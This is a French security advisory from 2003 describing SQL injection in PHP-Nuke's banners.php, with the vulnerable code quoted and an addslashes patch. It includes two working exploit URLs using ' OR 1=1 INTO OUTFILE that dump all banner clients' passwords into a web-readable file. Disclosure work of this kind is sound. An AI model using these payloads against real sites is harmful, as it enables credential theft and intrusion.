PHP-Nuke : banners.php
**********************
Informations :
°°°°°°°°°°°°°°
Langage : PHP
Website : http://www.phpnuke.org
Version : 5.6, 6.0, 6.5 RC1, 6.5 RC2, 6.5 RC3
Problème : Injection SQL
Developpement :
°°°°°°°°°°°°°°°
Dans PHP-Nuke, le CMS (Content Management System) en PHP, se trouve un fichier "banners.php", permettant de gérer un
système de bannière (affichage, membres,...).
Dans ce fichier on peut voir le code :
------------------------------------------------------------------------------------------------------------------------
[...]
function bannerstats($login, $pass) {
global $prefix, $db, $sitename;
$sql = "SELECT cid, name, passwd FROM ".$prefix."_bannerclient WHERE login='$login'";
$result = $db->sql_query($sql);
$row = $db->sql_fetchrow($result);
[...]
function change_banner_url_by_client($login, $pass, $cid, $bid, $url, $alttext) {
global $prefix, $db;
$sql = "SELECT passwd FROM ".$prefix."_bannerclient WHERE cid='$cid'";
$result = $db->sql_query($sql);
$row = $db->sql_fetchrow($result);
$passwd = $row[passwd];
if (!empty($pass) AND $pass==$passwd) {
$alttext = ereg_replace("\"", "", $alttext);
$alttext = ereg_replace("'", "", $alttext);
$db->sql_query("UPDATE ".$prefix."_banner SET clickurl='$url', alttext='$alttext' WHERE bid='$bid'");
echo "
";
if ($url != "") {
echo "You changed the URL
";
}
if ($alttext != "") {
echo "You changed the Alternate Text";
}
echo "
Back to Stats Page";
} else {
echo "
Your login/password doesn't match.
Please login again";
}
}
switch($op) {
[...]
case "Ok":
bannerstats($login, $pass);
break;
case "Change":
change_banner_url_by_client($login, $pass, $cid, $bid, $url, $alttext);
break;
}
[...]
?>
------------------------------------------------------------------------------------------------------------------------
On voit que dans ces deux fonctions son executées des requêtes SQL.
Dans bannerstats() :
-----------------------------------------------------------------------------------------
$sql = "SELECT cid, name, passwd FROM ".$prefix."_bannerclient WHERE login='$login'";
-----------------------------------------------------------------------------------------
Dans change_banner_url_by_client() :
--------------------------------------------------------------------------
$sql = "SELECT passwd FROM ".$prefix."_bannerclient WHERE cid='$cid'";
--------------------------------------------------------------------------
Ces deux requêtes extraient de la table nuke_bannerclient l'information "passwd", c'est-à-dire le mot de passe
d'un membre de la gestion de bannières.
Si la configuration php le permet, c'est-à-dire que magic_quotes_gpc=OFF, on pourra récuperer ces informations
dans un fichier, grâce à l'url :
http://[target]/banners.php?op=Ok&login='%20OR%201=1%20INTO%20OUTFILE%20'[path/to/site]/banners1.txt
ou
http://[target]/banners.php?op=Change&cid='%20OR%201=1%20INTO%20OUTFILE%20'[path/to/site]/banners2.txt
Ce qui donnera les requêtes :
----------------------------------------------------------------------------------------------------------------
SELECT cid, name, passwd FROM nuke_bannerclient WHERE login='' OR 1=1 INTO OUTFILE '[path/to/site]/banners1.txt'
----------------------------------------------------------------------------------------------------------------
et
--------------------------------------------------------------------------------------------------
SELECT passwd FROM nuke_bannerclient WHERE cid='' OR 1=1 INTO OUTILE '[path/to/site]/banners2.txt'
--------------------------------------------------------------------------------------------------
Comme le 1=1 renvois toujours vrai, les informations de TOUT inscrit dans "bannières" seront enregistrés
dans http://[target]/banners1.txt ou http://[target]/banners2.txt (si [path/to/site] est bien le chemin correct
du site dans le disque dur).
Patch :
°°°°°°°
Ajouter au début du fichier :
--------------------------
$cid=addslashes($cid);
$login=addslashes($login);
--------------------------
Un patch peut être trouvé sur http://www.phpsecure.info.
Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : frog-man@frog-man.org
Website : http://www.phpsecure.info
Date : 16/03/03